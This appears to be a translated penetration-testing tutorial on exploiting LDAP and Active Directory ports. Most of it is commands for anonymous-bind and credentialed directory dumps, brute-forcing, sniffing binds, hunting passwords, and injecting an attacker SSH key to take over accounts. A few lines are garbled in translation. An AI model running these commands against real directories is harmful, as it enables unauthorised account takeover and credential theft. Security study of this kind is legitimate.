LDAP端口 389、636、3268、3269如何利用?
基本信息
LDAP(轻量级目录访问协议)是一种用于访问和管理目录信息服务的协议。它通常用于 Windows Active Directory 和 Linux 目录服务。
- TCP 389(未加密的 LDAP)
- TCP 636(LDAPS — 通过 SSL/TLS 的 LDAP)
- TCP 3268(用于域范围搜索的全局目录)
- TCP 3269(安全全局目录)
身份验证类型:
- 匿名绑定
- 简单身份验证(用户名/密码)
- SASL 身份验证(Kerberos、NTLM、Digest-MD5)
LDAP数据交换格式
LDIF(LDAP 数据交换格式)将目录内容定义为一组记录。它还可以表示更新请求(添加、修改、删除、重命名)。
- 第 1-3 行定义顶级域 local
- 第 5-8 行定义第一级域名 moneycorp (moneycorp.local)
- 第 10-16 行定义了 2 个组织单位:dev 和 sales
- 第 18-26 行创建域对象并分配属性值
写入数据
请注意,如果您可以修改值,那么您可能能够执行非常有趣的操作。例如,假设您可以更改您的用户或任何用户的“sshPublicKey”信息。如果此属性存在,则很有可能ssh 正在从 LDAP 读取公钥。如果您可以修改用户的公钥,即使 ssh 中未启用密码验证,您也能以该用户身份登录。
代码语言:javascript代码运行次数:0运行复制# 示例来自 /
>>> import ldap3
>>> server = ldap3.Server( 'xxxx' , port = 636 , use_ssl = True )
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' , 'PASSWORD' , auto_bind= True )
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify( 'uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN' ,{ 'sshPublicKey' : [(ldap3.MODIFY_REPLACE, [ 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqD N8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil' ])]})
匿名访问
绕过 TLS SNI 检查
根据这篇文章,只需使用任意域名访问 LDAP 服务器,他就可以联系 LDAP 服务并以匿名用户身份提取信息:
代码语言:javascript代码运行次数:0运行复制ldapsearch -H ldaps://company:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP 匿名绑定
LDAP 匿名绑定允许未经身份验证的攻击者从域中检索信息,例如用户、组、计算机、用户帐户属性和域密码策略的完整列表。这是一种遗留配置,从 Windows Server 2003 开始,只有经过身份验证的用户才被允许发起 LDAP 请求。然而,管理员可能需要设置一个特定的应用程序来允许匿名绑定,并授予超过预期的访问权限,从而使未经身份验证的用户能够访问 AD 中的所有对象。
有效凭证
如果您具有登录 LDAP 服务器的有效凭据,则可以使用以下命令转储有关域管理员的所有信息:
代码语言:javascript代码运行次数:0运行复制pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP> ] -u ' <域> \ <用户名> ' -p ' <密码> ' [--authtype SIMPLE] --no-json --no-grep [-o /path/ dir ]
枚举 LDAP 服务
在攻击 LDAP 之前,我们必须枚举目标环境。
2.1 扫描 LDAP 服务
用于nmap发现 LDAP 服务:
代码语言:javascript代码运行次数:0运行复制nmap -p 389 , 636 , 3268 , 3269 --script ldap-rootdse <目标 IP>
2.2 使用 windapsearch 或ldapsearch
Windapsearch是一个 Python 脚本,可用于利用 LDAP 查询从 Windows 域中枚举用户、组和计算机。
代码语言:javascript代码运行次数:0运行复制#获取计算机
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
#获取 组
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
#获取用户
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
#获取域管理员
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
#获取特权用户
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldap搜索
检查空凭证或您的凭证是否有效:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap: // <IP> -D ''- w ''- b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap: // <IP> -D '<DOMAIN>\<用户名>' -w '<密码>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
如果您发现“必须完成绑定”的信息,则意味着凭据不正确。
您可以使用以下方法从域中提取所有内容:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
提取用户:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<用户名>' -w '<密码>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#示例:ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
提取计算机:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap:// < IP > -D ' < DOMAIN > \ <用户名> ' -w ' <密码> ' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC= < TLD > "
提取我的信息:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap:// < IP > -D ' <域> \ <用户名> ' -w ' <密码> ' -b "CN= <我的 名字> ,CN=Users,DC=<1_SUBDOMAIN>,DC= < TLD > "
提取域管理员:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap:// < IP > -D ' < DOMAIN > \ <用户名> ' -w ' <密码> ' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC= < TLD > "
提取域用户:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap:// < IP > -D ' < DOMAIN > \ <用户名> ' -w ' <密码> ' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC= < TLD > "
提取企业管理员:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap:// < IP > -D ' < DOMAIN > \ <用户名> ' -w ' <密码> ' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC= < TLD > "
提取管理员:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap:// < IP > -D ' < DOMAIN > \ <用户名> ' -w ' <密码> ' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC= < TLD > "
提取远程桌面组:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -H ldap:// < IP > -D ' < DOMAIN > \ <用户名> ' -w ' <密码> ' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC= < TLD > "
要查看您是否有权访问任何密码,您可以在执行以下查询之一后使用 grep:
代码语言:javascript代码运行次数:0运行复制<ldapsearchcmd...> | grep -i -A2 -B2 “userpas”
Pbis
/,它通常安装在。pbis/opt/pbis可以让你轻松获取基本信息:
代码语言:javascript代码运行次数:0运行复制#读取密钥表文件
./klist -k /etc/krb5.keytab
#获取已知域信息
./get-status
./lsa get-status
#获取基本指标
./get-metrics
./lsa get-metrics
#获取用户
./enum-users
./lsa enum-users
#获取组
./enum-groups
./lsa enum-groups
#获取所有类型的对象
./enum-objects
./lsa enum-objects
#获取用户的组
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#获取每个用户的组
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user " $name " ; echo -e "==========================\n" ; done
#获取某个组的用户
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#获取每个组的用户
./enum-groups | grep "名称:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo " $name " ; ./enum-members --by-name " $name " ; echo -e "==========================\n" ; done
#获取每个用户的描述
./adtool -a search-user --name CN= "*" --keytab=/etc/krb5.keytab -n <用户名> | grep "CN" | while read line; do
echo " $line " ;
./adtool --keytab=/etc/krb5.keytab -n <用户名> -a lookup-object --dn= " $line " --attr "description" ;
echo "========================"
done
图形界面
Apache 目录
从这里下载 Apache Directory。您可以在这里找到如何使用此工具的示例。
您可以在此处下载带有 LDAP 服务器的图形界面
.html
默认情况下安装在:/opt/jxplorer
Godap
Godap 是 LDAP 的交互式终端用户界面,可用于与 AD 和其他 LDAP 服务器中的对象和属性进行交互。它适用于 Windows、Linux 和 MacOS,支持简单绑定、传递哈希、传递票证和传递证书,以及其他一些特殊功能,例如搜索/创建/更改/删除对象、在组中添加/删除用户、更改密码、编辑对象权限 (DACL)、修改 Active Directory 集成 DNS (ADIDNS)、导出到 JSON 文件等。
Ldapx
Ldapx 是一个灵活的 LDAP 代理,可用于检查和转换来自其他工具的 LDAP 流量。它可以用来混淆 LDAP 流量,以尝试绕过身份保护和 LDAP 监控工具
利用匿名绑定
如果启用了匿名绑定,我们可以提取:
- 用户
- 团体
- 政策
检查匿名访问:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -h <目标 IP> -s base -b ""
如果成功,则转储整个目录:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -h <目标 IP> -b "dc=example,dc=com"
攻击 LDAP 身份验证
4.1 有效凭证枚举
如果我们有有效的用户名和密码:
代码语言:javascript代码运行次数:0运行复制ldapsearch -x -h <目标 IP> -D "cn=admin,dc=example,dc=com" -w "密码" -b "dc=example,dc=com"
4.2 暴力攻击
使用nmap:
代码语言:javascript代码运行次数:0运行复制nmap --script ldap-brute -p 389 <目标IP >
使用medusa:
代码语言:javascript代码运行次数:0运行复制medusa -h <目标 IP> -U 用户.txt -P密码.txt -M ldap
修改 LDAP 属性(权限提升)
如果我们有写权限,我们可以注入 SSH 密钥或修改用户权限:
代码语言:javascript代码运行次数:0运行复制ldapmodify -x -D "cn=admin,dc=example,dc=com" -w "password" <<EOF
dn: uid=user,dc=example,dc=com
changetype: modify
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3...
EOF
嗅探 LDAP 流量
如果 LDAP 未使用加密,则可以使用 Wireshark 拦截凭据:
- 筛选:
ldap && ip.addr==<target-IP>
- 查找包含用户名和密码的bindRequest数据包。
配置文件
代码语言:javascript代码运行次数:0运行复制General
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 server
V3.sas.oc
Microsoft Active Directory server
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP directory server
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。原始发表:2025-05-02,如有侵权请联系 cloudcommunity@tencent 删除服务计算机权限ldap对象